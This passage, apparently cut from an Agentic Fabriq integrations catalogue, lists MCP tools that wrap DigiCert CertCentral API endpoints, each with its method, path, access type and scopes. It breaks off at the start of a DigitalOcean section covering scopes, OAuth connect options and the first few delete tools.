scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/revoke. Scopes: api. digicert_orders_site_seal_settings (read) — Site seal settings via GET /order/certificate/{order_id}/site-seal. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/site-seal. Scopes: api. digicert_orders_status_change_list (read) — Status change list via GET /order/certificate/status-changes. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. GET /api/v1/digicert/order/certificate/status-changes. Scopes: api. digicert_orders_update_auto_reissue_settings (write) — Update auto-reissue settings via PUT /order/certificate/{order_id}/auto-reissue. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/auto-reissue. Scopes: api. digicert_orders_update_csr (write) — Update CSR via POST /order/certificate/{order_id}/csr. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/csr. Scopes: api. digicert_orders_update_order_contacts (write) — Update order contacts via PUT /order/certificate/{order_id}/contact. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/contact. Scopes: api. digicert_orders_update_order_status (write) — Update order status via PUT /order/certificate/{order_id}/status. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/status. Scopes: api. digicert_orders_update_renewal_message (write) — Update renewal message via PUT /order/certificate/{order_id}/custom-renewal-message. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/custom-renewal-message. Scopes: api. digicert_orders_update_renewal_notification_settings (write) — Update renewal notification settings via PUT /order/certificate/{order_id}/renewal-emails/{status}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/renewal-emails/{status}. Scopes: api. digicert_orders_update_site_seal_settings (write) — Update site seal settings via PUT /order/certificate/{order_id}/site-seal. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/site-seal. Scopes: api. digicert_orders_update_vmc_or_cmc_orders (write) — Update VMC or CMC orders via PUT /order/certificate/{order_id}/vmc. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/vmc. Scopes: api. digicert_orders_upload_site_seal_logo (write) — Upload site seal logo via POST /order/certificate/{order_id}/site-seal/logo. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/site-seal/logo. Scopes: api. digicert_orders_upload_vmc_or_cmc_logo_encoded (write) — Upload VMC or CMC logo (encoded) via POST /order/certificate/{order_id}/vmc/encoded-logo. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/vmc/encoded-logo. Scopes: api. digicert_orders_upload_vmc_or_cmc_logo_svg (write) — Upload VMC or CMC logo (SVG) via POST /order/certificate/{order_id}/vmc/logo. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/vmc/logo. Scopes: api. digicert_orders_validation_status (read) — Order validation status via GET /order/certificate/{order_id}/validation. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/validation. Scopes: api. digicert_orders_view_keylocker_signatures (read) — View KeyLocker signatures via GET /order/certificate/{order_id}/signature-unit. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/signature-unit. Scopes: api. digicert_orders_view_note (read) — View note via GET /order/certificate/{order_id}/note/{note_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/note/{note_id}. Scopes: api. digicert_organizations_activate_organization (write) — Activate organization via PUT /organization/{organization_id}/activate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/organization/{organization_id}/activate. Scopes: api. digicert_organizations_create_organization (write) — Create organization via POST /organization. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/organization. Scopes: api. digicert_organizations_deactivate_organization (write) — Deactivate organization via PUT /organization/{organization_id}/deactivate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/organization/{organization_id}/deactivate. Scopes: api. digicert_organizations_delete_organization (write, destructive) — Delete organization via DELETE /organization/{organization_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/organization/{organization_id}. Scopes: api. digicert_organizations_list_approvers (read) — List approvers via GET /organization/potential-approvers GET /api/v1/digicert/organization/potential-approvers. Scopes: api. digicert_organizations_list_organizations (read) — List organizations via GET /organization. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/organization. Scopes: api. digicert_organizations_organization_and_technical_contact_info (read) — Organization and technical contact info via GET /organization/{organization_id}/contact GET /api/v1/digicert/organization/{organization_id}/contact. Scopes: api. digicert_organizations_organization_info (read) — Organization info via GET /organization/{organization_id} GET /api/v1/digicert/organization/{organization_id}. Scopes: api. digicert_organizations_recent_organizations (read) — Recent organizations via GET /organization/recent GET /api/v1/digicert/organization/recent. Scopes: api. digicert_organizations_submit_for_validation (write) — Organizations: Submit for validation via POST /organization/{organization_id}/validation. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/organization/{organization_id}/validation. Scopes: api. digicert_organizations_update_organization_and_technical_contact (write) — Update organization and technical contact via PUT /organization/{organization_id}/contact. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/organization/{organization_id}/contact. Scopes: api. digicert_organizations_validation_details (read) — Organizations: Validation details via GET /organization/{organization_id}/validation GET /api/v1/digicert/organization/{organization_id}/validation. Scopes: api. digicert_organizations_validation_types (read) — Organizations: Validation types via GET /organization/validation-type GET /api/v1/digicert/organization/validation-type. Scopes: api. digicert_products_certificate_format_map (read) — Certificate format map via GET /product/platform-certformat-mapping GET /api/v1/digicert/product/platform-certformat-mapping. Scopes: api. digicert_products_pricing_list (read) — Pricing list via GET /product/pricing GET /api/v1/digicert/product/pricing. Scopes: api. digicert_products_product_info (read) — Product info via GET /product/{name_id} GET /api/v1/digicert/product/{name_id}. Scopes: api. digicert_products_product_list (read) — Product list via GET /product GET /api/v1/digicert/product. Scopes: api. digicert_reports_expiring_orders_and_certificates (read) — Expiring orders and certificates via GET /report/order/expiring GET /api/v1/digicert/report/order/expiring. Scopes: api. digicert_reports_order_report (read) — Order report via GET /report/order. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/report/order. Scopes: api. digicert_reports_request_summary (read) — Request summary via GET /report/request GET /api/v1/digicert/report/request. Scopes: api. digicert_requests_list_requests (read) — List requests via GET /request. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/request. Scopes: api. digicert_requests_request_info (read) — Request info via GET /request/{request_id} GET /api/v1/digicert/request/{request_id}. Scopes: api. digicert_requests_update_csr_for_a_pending_reissue_request (read) — Update CSR for a pending reissue request via GET /request/{request_id}/csr GET /api/v1/digicert/request/{request_id}/csr. Scopes: api. digicert_requests_update_request_status (read) — Update request status via GET /request/{request_id}/status GET /api/v1/digicert/request/{request_id}/status. Scopes: api. digicert_subaccount_add_or_remove_funds (write) — Add or remove funds via POST /account/subaccount/{subaccount_id}/balance. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/subaccount/{subaccount_id}/balance. Scopes: api. digicert_subaccount_balance_details (read) — Balance details via GET /account/subaccount/{subaccount_id}/balance GET /api/v1/digicert/account/subaccount/{subaccount_id}/balance. Scopes: api. digicert_subaccount_cancel_unit_order (write) — Cancel unit order via PUT /units/order/{order_id}/cancel. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/units/order/{order_id}/cancel. Scopes: api. digicert_subaccount_create_subaccount (write) — Create subaccount via POST /account. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account. Scopes: api. digicert_subaccount_create_unit_order (write) — Create unit order via POST /units/order. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/units/order. Scopes: api. digicert_subaccount_edit_subaccount (write) — Edit subaccount via PUT /account/subaccount/{subaccount_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/subaccount/{subaccount_id}. Scopes: api. digicert_subaccount_list_subaccount_domains (read) — List subaccount domains via GET /account/subaccount/{subaccount_id}/domain. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/account/subaccount/{subaccount_id}/domain. Scopes: api. digicert_subaccount_list_subaccount_orders (read) — List subaccount orders via GET /account/subaccount/order. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/account/subaccount/order. Scopes: api. digicert_subaccount_list_subaccount_organizations (read) — List subaccount organizations via GET /account/subaccount/{subaccount_id}/organization. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/account/subaccount/{subaccount_id}/organization. Scopes: api. digicert_subaccount_list_subaccount_product_limits (read) — List subaccount product limits via GET /account/subaccount/{subaccount_id}/product-limits GET /api/v1/digicert/account/subaccount/{subaccount_id}/product-limits. Scopes: api. digicert_subaccount_list_subaccount_products (read) — List subaccount products via GET /account/subaccount/{subaccount_id}/products GET /api/v1/digicert/account/subaccount/{subaccount_id}/products. Scopes: api. digicert_subaccount_list_subaccounts (read) — List subaccounts via GET /account/subaccount. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/account/subaccount. Scopes: api. digicert_subaccount_list_unit_orders (read) — List unit orders via GET /units/order. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/units/order. Scopes: api. digicert_subaccount_set_subaccount_products (write) — Set subaccount products via PUT /account/subaccount/{subaccount_id}/products. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/subaccount/{subaccount_id}/products. Scopes: api. digicert_subaccount_subaccount_info (read) — Subaccount info via GET /account/subaccount/{subaccount_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. GET /api/v1/digicert/_variants/subaccount_subaccount_info. Scopes: api. digicert_subaccount_subaccount_order_info (read) — Subaccount order info via GET /account/subaccount/order/{order_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/account/subaccount/order/{order_id}. Scopes: api. digicert_subaccount_subaccount_report (read) — Subaccount report via GET /account/subaccount/{subaccount_id}/report GET /api/v1/digicert/account/subaccount/{subaccount_id}/report. Scopes: api. digicert_subaccount_unit_order_details (read) — Unit order details via GET /units/order/{order_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/units/order/{order_id}. Scopes: api. digicert_users_add_service_user (write) — Add service user via POST /user. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/_variants/users_add_service_user. Scopes: api. digicert_users_add_user (write) — Add user via POST /user. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/_variants/users_add_user. Scopes: api. digicert_users_change_user_role (write) — Change user role via PUT /user/{user_id}/role. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/user/{user_id}/role. Scopes: api. digicert_users_delete_user (write, destructive) — Delete user via DELETE /user/{user_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/user/{user_id}. Scopes: api. digicert_users_edit_service_user (write) — Edit service user via PUT /user/{user_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/_variants/users_edit_service_user. Scopes: api. digicert_users_edit_user (write) — Edit user via PUT /user/{user_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/_variants/users_edit_user. Scopes: api. digicert_users_list_service_users (read) — List service users via GET /user/api-only. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/user/api-only. Scopes: api. digicert_users_list_users (read) — List users via GET /user. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/user. Scopes: api. digicert_users_resend_create_user_email (read) — Resend create user email via GET /user/{user_id}/resend-create-email GET /api/v1/digicert/user/{user_id}/resend-create-email. Scopes: api. digicert_users_update_container_assignments (write) — Update container assignments via PUT /user/{user_id}/container-assignments. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/user/{user_id}/container-assignments. Scopes: api. digicert_users_user_info (read) — User info via GET /user/{user_id} GET /api/v1/digicert/user/{user_id}. Scopes: api. digicert_users_username_availability (read) — Username availability via GET /user/availability/{user_name} GET /api/v1/digicert/user/availability/{user_name}. Scopes: api. digicert_utilities_validate_vmc_or_cmc_logo_format_encoded (write) — Validate VMC or CMC logo format (encoded) via PUT /util/validate-vmc-encoded-logo. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/util/validate-vmc-encoded-logo. Scopes: api. digicert_utilities_validate_vmc_or_cmc_logo_format_svg (write) — Validate VMC or CMC logo format (SVG) via PUT /util/validate-vmc-logo. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/util/validate-vmc-logo. Scopes: api. digicert_vouchers_cancel_voucher_code (write) — Cancel voucher code via PUT /voucher/{id}/cancel. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/voucher/{id}/cancel. Scopes: api. digicert_vouchers_create_voucher_order (write) — Create voucher order via POST /voucher. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/voucher. Scopes: api. digicert_vouchers_get_voucher_order_details (read) — Get voucher order details via GET /voucher/{id} GET /api/v1/digicert/voucher/{id}. Scopes: api. digicert_vouchers_list_all_voucher_orders (read) — List all voucher orders via GET /voucher. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/voucher. Scopes: api. digicert_vouchers_list_codes_for_voucher_order (read) — List codes for voucher order via GET /voucher/{voucher_order_id}/download. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/voucher/{voucher_order_id}/download. Scopes: api. digicert_vouchers_list_used_voucher_codes (read) — List used voucher codes via GET /voucher/download/used-codes. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. GET /api/v1/digicert/voucher/download/used-codes. Scopes: api. digicert_vulnerability_assessments_disable_scanning (write, destructive) — Disable scanning via DELETE /vulnerability-assessment/{order_id}/scan. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. DELETE /api/v1/digicert/vulnerability-assessment/{order_id}/scan. Scopes: api. digicert_vulnerability_assessments_download_results (read) — Download results via GET /vulnerability-assessment/{order_id}/report/{domain_name}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/vulnerability-assessment/{order_id}/report/{domain_name}. Scopes: api. digicert_vulnerability_assessments_enable_scanning (write) — Enable scanning via PUT /vulnerability-assessment/{order_id}/scan. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/vulnerability-assessment/{order_id}/scan. Scopes: api. digicert_vulnerability_assessments_get_enabled_status (read) — Get enabled status via GET /vulnerability-assessment/{order_id}/status. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/vulnerability-assessment/{order_id}/status. Scopes: api. digicert_vulnerability_assessments_get_notification_settings (read) — Get notification settings via GET /vulnerability-assessment/{order_id}/notification-settings. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/vulnerability-assessment/{order_id}/notification-settings. Scopes: api. digicert_vulnerability_assessments_get_scan_details (read) — Get scan details via GET /vulnerability-assessment/{order_id}/details. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/vulnerability-assessment/{order_id}/details. Scopes: api. digicert_vulnerability_assessments_rescan_domain (write) — Rescan domain via PUT /vulnerability-assessment/{order_id}/rescan/{domain}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/vulnerability-assessment/{order_id}/rescan/{domain}. Scopes: api. digicert_webhooks_activate_webhook (write) — Activate webhook via PUT /webhook/{webhook_id}/activate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/webhook/{webhook_id}/activate. Scopes: api. digicert_webhooks_create_webhook (write) — Create webhook via POST /webhook. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/webhook. Scopes: api. digicert_webhooks_deactivate_webhook (write) — Deactivate webhook via PUT /webhook/{webhook_id}/deactivate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/webhook/{webhook_id}/deactivate. Scopes: api. digicert_webhooks_list_webhooks (read) — List webhooks via GET /webhook GET /api/v1/digicert/webhook. Scopes: api. digicert_webhooks_send_challenge_token (write) — Send challenge token via PUT /webhook/{webhook_id}/send-challenge. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/webhook/{webhook_id}/send-challenge. Scopes: api. digicert_webhooks_send_test_event (write) — Send test event via POST /webhook/test-endpoint. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/webhook/test-endpoint. Scopes: api. digicert_webhooks_update_webhook_endpoint (write) — Update webhook endpoint via PUT /webhook/{webhook_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/webhook/{webhook_id}. Scopes: api. digicert_webhooks_verify_challenge_token (write) — Verify challenge token via PUT /webhook/{webhook_id}/check-challenge. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/webhook/{webhook_id}/check-challenge. Scopes: api. digicert_webhooks_webhook_event_logs (read) — Webhook event logs via GET /webhook/{webhook_id}/event-logs. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/webhook/{webhook_id}/event-logs. Scopes: api. ================================================================================ ## DigitalOcean URL: https://www.agenticfabriq.com/integrations/digitalocean Section: Integrated Tools DigitalOcean — 655 MCP tools Provider key: digitalocean. Scopes: account:read, actions:read, addon:create, addon:delete, addon:read, addon:update, app:access_console, app:create, app:delete, app:read, app:update, billing:read, block_storage:create, block_storage:delete, block_storage:read, block_storage_action:create, block_storage_action:read, block_storage_snapshot:create, block_storage_snapshot:delete, block_storage_snapshot:read, byoip_prefix:create, byoip_prefix:delete, byoip_prefix:read, byoip_prefix:update, cdn:create, cdn:delete, cdn:read, cdn:update, certificate:create, certificate:delete, certificate:read, database:create, database:delete, database:read, database:update, database:view_credentials, dedicated_inference:create, dedicated_inference:delete, dedicated_inference:read, dedicated_inference:update, dedicated_inference_token:create, dedicated_inference_token:delete, dedicated_inference_token:read, domain:create, domain:delete, domain:read, domain:update, droplet:create, droplet:delete, droplet:read, droplet:update, firewall:create, firewall:delete, firewall:read, firewall:update, function:admin, function:create, function:delete, function:read, function:update, genai:create, genai:delete, genai:read, genai:update, image:create, image:delete, image:read, image:update, kubernetes:access_cluster, kubernetes:create, kubernetes:delete, kubernetes:read, kubernetes:update, load_balancer:create, load_balancer:delete, load_balancer:read, load_balancer:update, monitoring:create, monitoring:delete, monitoring:read, monitoring:update, nat_gateway:create, nat_gateway:delete, nat_gateway:read, nat_gateway:update, nfs:create, nfs:delete, nfs:read, organization:create_team, organization_membership:read_teams, partner_network_connect:create, partner_network_connect:read, partner_network_connect:update, project:assign_resource, project:create, project:delete, project:read, project:update, regions:read, registry:create, registry:delete, registry:read, registry:update, reserved_ip:create, reserved_ip:delete, reserved_ip:read, reserved_ip:update, security:create, security:delete, security:read, security:update, sizes:read, snapshot:delete, snapshot:read, spaces_key:create_credentials, spaces_key:delete, spaces_key:read, spaces_key:update, ssh_key:create, ssh_key:delete, ssh_key:read, ssh_key:update, tag:create, tag:delete, tag:read, uptime:create, uptime:delete, uptime:read, uptime:update, vpc:create, vpc:delete, vpc:read, vpc:update, vpc_peering:create, vpc_peering:delete, vpc_peering:read, vpc_peering:update. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. digitalocean_delete_v2_account_keys_by_ssh_key_identifier (write, destructive) — Delete an SSH Key via DELETE /v2/account/keys/{ssh_key_identifier} DELETE /api/v1/digitalocean/v2/account/keys/{ssh_key_identifier}. Scopes: ssh_key:delete. digitalocean_delete_v2_add_ons_saas_by_resource_uuid (write, destructive) — Delete/Deprovision an Add-on Resource via DELETE /v2/add-ons/saas/{resource_uuid} DELETE /api/v1/digitalocean/v2/add-ons/saas/{resource_uuid}. Scopes: addon:delete. digitalocean_delete_v2_apps_by_id (write, destructive) — Delete an App via DELETE /v2/apps/{id} DELETE /api/v1/digitalocean/v2/apps/{id}. Scopes: app:delete. digitalocean_delete_v2_byoip_prefixes_by_byoip_prefix_uuid (write, destructive) — Delete a BYOIP Prefix via DELETE /v2/byoip_prefixes/{byoip_prefix_uuid} DELETE /api/v1/digitalocean/v2/byoip_prefixes/{byoip_prefix_uuid}. Scopes: byoip_prefix:delete. digitalocean_delete_v2_cdn_endpoints_by_cdn_id (write, destructive) — Delete a CDN Endpoint via DELETE /v2/cdn/endpoints/{cdn_id} DELETE /api/v1/digitalocean/v2/cdn/endpoints/{cdn_id}. Scopes: cdn:delete. digitalocean_delete_v2_cdn_endpoints_by_cdn_id_cache (write, destructive) — Purge the Cache for an Existing CDN Endpoint via DELETE /v2/cdn/endpoints/{cdn_id}/cache DELETE /api/v1/digitalocean/v2/cdn/endpoints/{cdn_id}/cache. Scopes: cdn:delete. digitalocean_delete_v2_certificates_by_certificate_id (write, destructive) — Delete a Certificate via DELETE /v2/certificates/{certificate_id} DELETE /api/v1/digitalocean/v2/certificates/{certificate_id}. Scopes: certificate:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid (write, destructive) — Destroy a Database Cluster via DELETE /v2/databases/{database_cluster_uuid} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_dbs_by_database_name (write, destructive) — Delete a Database via DELETE /v2/databases/{database_cluster_uuid}/dbs/{database_name} DELETE 